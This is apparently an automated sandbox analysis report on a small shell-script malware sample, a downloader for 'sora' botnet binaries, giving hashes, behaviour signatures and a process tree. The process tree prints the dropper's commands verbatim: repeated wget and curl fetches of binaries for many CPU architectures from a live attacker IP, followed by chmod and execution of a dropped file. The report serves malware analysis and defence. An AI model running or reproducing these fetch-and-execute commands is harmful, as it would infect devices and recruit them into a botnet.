Analysis

  • max time kernel
    42s
  • max time network
    45s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    18/10/2024, 02:26

General

  • Target

    a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh

  • Size

    2KB

  • MD5

    1d363d0224de71500a06aaf7e205d0bb

  • SHA1

    13fe03fe502546c5b53e156db53090275844d2ba

  • SHA256

    a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8

  • SHA512

    6030ceebdd5f6f16cbf10c1f30dfaf057d7f533dd156dc03c28c93920350407f5b3aebc4e09f2a74fdf2f155c7027001aed4d892ce0f83fb8b54b87a5212ddde

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Reads runtime system information 14 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh
    /tmp/a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh
    1⤵
    • Writes file to tmp directory
    PID:728
    • /usr/bin/wget
      wget http://93.123.85.141/bins/sora.x86
      2⤵
        PID:731
      • /usr/bin/curl
        curl -O http://93.123.85.141/bins/sora.x86
        2⤵
        • Reads runtime system information
        PID:739
      • /bin/cat
        cat sora.x86
        2⤵
          PID:750
        • /bin/chmod
          chmod +x a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh robben systemd-private-07299380d95e44f38e896cf6730821c0-systemd-timedated.service-zC5jFP
          2⤵
          • File and Directory Permissions Modification
          PID:751
        • /tmp/robben
          ./robben lg.exploit
          2⤵
          • Executes dropped EXE
          PID:753
        • /usr/bin/wget
          wget http://93.123.85.141/bins/sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:755
        • /usr/bin/curl
          curl -O http://93.123.85.141/bins/sora.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:758
        • /bin/cat
          cat sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:763
        • /bin/chmod
          chmod +x a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh robben systemd-private-07299380d95e44f38e896cf6730821c0-systemd-timedated.service-zC5jFP
          2⤵
          • File and Directory Permissions Modification
          PID:764
        • /tmp/robben
          ./robben lg.exploit
          2⤵
          • Executes dropped EXE
          PID:765
        • /usr/bin/wget
          wget http://93.123.85.141/bins/sora.x86_64
          2⤵
            PID:767
          • /usr/bin/curl
            curl -O http://93.123.85.141/bins/sora.x86_64
            2⤵
            • Reads runtime system information
            PID:768
          • /bin/cat
            cat sora.x86_64
            2⤵
              PID:769
            • /bin/chmod
              chmod +x a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh robben systemd-private-07299380d95e44f38e896cf6730821c0-systemd-timedated.service-zC5jFP
              2⤵
              • File and Directory Permissions Modification
              PID:770
            • /tmp/robben
              ./robben lg.exploit
              2⤵
              • Executes dropped EXE
              PID:771
            • /usr/bin/wget
              wget http://93.123.85.141/bins/sora.i468
              2⤵
                PID:773
              • /usr/bin/curl
                curl -O http://93.123.85.141/bins/sora.i468
                2⤵
                • Reads runtime system information
                PID:774
              • /bin/cat
                cat sora.i468
                2⤵
                  PID:779
                • /bin/chmod
                  chmod +x a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh robben systemd-private-07299380d95e44f38e896cf6730821c0-systemd-timedated.service-zC5jFP
                  2⤵
                  • File and Directory Permissions Modification
                  PID:782
                • /tmp/robben
                  ./robben lg.exploit
                  2⤵
                  • Executes dropped EXE
                  PID:783
                • /usr/bin/wget
                  wget http://93.123.85.141/bins/sora.i686
                  2⤵
                    PID:785
                  • /usr/bin/curl
                    curl -O http://93.123.85.141/bins/sora.i686
                    2⤵
                    • Reads runtime system information
                    PID:789
                  • /bin/cat
                    cat sora.i686
                    2⤵
                      PID:795
                    • /bin/chmod
                      chmod +x a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh robben systemd-private-07299380d95e44f38e896cf6730821c0-systemd-timedated.service-zC5jFP
                      2⤵
                      • File and Directory Permissions Modification
                      PID:797
                    • /tmp/robben
                      ./robben lg.exploit
                      2⤵
                      • Executes dropped EXE
                      PID:799
                    • /usr/bin/wget
                      wget http://93.123.85.141/bins/sora.mpsl
                      2⤵
                        PID:801
                      • /usr/bin/curl
                        curl -O http://93.123.85.141/bins/sora.mpsl
                        2⤵
                        • Reads runtime system information
                        PID:804
                      • /bin/cat
                        cat sora.mpsl
                        2⤵
                          PID:811
                        • /bin/chmod
                          chmod +x a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh robben systemd-private-07299380d95e44f38e896cf6730821c0-systemd-timedated.service-zC5jFP
                          2⤵
                          • File and Directory Permissions Modification
                          PID:813
                        • /tmp/robben
                          ./robben lg.exploit
                          2⤵
                          • Executes dropped EXE
                          PID:814
                        • /usr/bin/wget
                          wget http://93.123.85.141/bins/sora.arm4
                          2⤵
                            PID:817
                          • /usr/bin/curl
                            curl -O http://93.123.85.141/bins/sora.arm4
                            2⤵
                            • Reads runtime system information
                            PID:820
                          • /bin/cat
                            cat sora.arm4
                            2⤵
                              PID:831
                            • /bin/chmod
                              chmod +x a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh robben systemd-private-07299380d95e44f38e896cf6730821c0-systemd-timedated.service-zC5jFP
                              2⤵
                              • File and Directory Permissions Modification
                              PID:833
                            • /tmp/robben
                              ./robben lg.exploit
                              2⤵
                              • Executes dropped EXE
                              PID:835
                            • /usr/bin/wget
                              wget http://93.123.85.141/bins/sora.arm5
                              2⤵
                                PID:837
                              • /usr/bin/curl
                                curl -O http://93.123.85.141/bins/sora.arm5
                                2⤵
                                • Reads runtime system information
                                PID:843
                              • /bin/cat
                                cat sora.arm5
                                2⤵
                                  PID:844
                                • /bin/chmod
                                  chmod +x a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh robben systemd-private-07299380d95e44f38e896cf6730821c0-systemd-timedated.service-zC5jFP
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:845
                                • /tmp/robben
                                  ./robben lg.exploit
                                  2⤵
                                  • Executes dropped EXE
                                  PID:846
                                • /usr/bin/wget
                                  wget http://93.123.85.141/bins/sora.arm6
                                  2⤵
                                    PID:848
                                  • /usr/bin/curl
                                    curl -O http://93.123.85.141/bins/sora.arm6
                                    2⤵
                                    • Reads runtime system information
                                    PID:882
                                  • /bin/cat
                                    cat sora.arm6
                                    2⤵
                                      PID:883
                                    • /bin/chmod
                                      chmod +x a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh robben
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:884
                                    • /tmp/robben
                                      ./robben lg.exploit
                                      2⤵
                                      • Executes dropped EXE
                                      PID:885
                                    • /usr/bin/wget
                                      wget http://93.123.85.141/bins/sora.arm7
                                      2⤵
                                        PID:887
                                      • /usr/bin/curl
                                        curl -O http://93.123.85.141/bins/sora.arm7
                                        2⤵
                                        • Reads runtime system information
                                        PID:888
                                      • /bin/cat
                                        cat sora.arm7
                                        2⤵
                                          PID:889
                                        • /bin/chmod
                                          chmod +x a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh robben
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:890
                                        • /tmp/robben
                                          ./robben lg.exploit
                                          2⤵
                                          • Executes dropped EXE
                                          PID:891
                                        • /usr/bin/wget
                                          wget http://93.123.85.141/bins/sora.ppc
                                          2⤵
                                            PID:893
                                          • /usr/bin/curl
                                            curl -O http://93.123.85.141/bins/sora.ppc
                                            2⤵
                                            • Reads runtime system information
                                            PID:894
                                          • /bin/cat
                                            cat sora.ppc
                                            2⤵
                                              PID:895
                                            • /bin/chmod
                                              chmod +x a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh robben
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:896
                                            • /tmp/robben
                                              ./robben lg.exploit
                                              2⤵
                                              • Executes dropped EXE
                                              PID:897
                                            • /usr/bin/wget
                                              wget http://93.123.85.141/bins/sora.ppc440fp
                                              2⤵
                                                PID:899
                                              • /usr/bin/curl
                                                curl -O http://93.123.85.141/bins/sora.ppc440fp
                                                2⤵
                                                • Reads runtime system information
                                                PID:900
                                              • /bin/cat
                                                cat sora.ppc440fp
                                                2⤵
                                                  PID:901
                                                • /bin/chmod
                                                  chmod +x a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh robben
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:902
                                                • /tmp/robben
                                                  ./robben lg.exploit
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:903
                                                • /usr/bin/wget
                                                  wget http://93.123.85.141/bins/sora.m68k
                                                  2⤵
                                                    PID:905
                                                  • /usr/bin/curl
                                                    curl -O http://93.123.85.141/bins/sora.m68k
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:906
                                                  • /bin/cat
                                                    cat sora.m68k
                                                    2⤵
                                                      PID:907
                                                    • /bin/chmod
                                                      chmod +x a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh robben
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:908
                                                    • /tmp/robben
                                                      ./robben lg.exploit
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:909
                                                    • /usr/bin/wget
                                                      wget http://93.123.85.141/bins/sora.sh4
                                                      2⤵
                                                        PID:911
                                                      • /usr/bin/curl
                                                        curl -O http://93.123.85.141/bins/sora.sh4
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:912
                                                      • /bin/cat
                                                        cat sora.sh4
                                                        2⤵
                                                          PID:913
                                                        • /bin/chmod
                                                          chmod +x a9414470152b889ecf7de35a5838e53ae2e945f48187b5c953cfd44ca4edfef8.sh robben
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:914
                                                        • /tmp/robben
                                                          ./robben lg.exploit
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:915

                                                      Network

                                                            MITRE ATT&CK Enterprise v15

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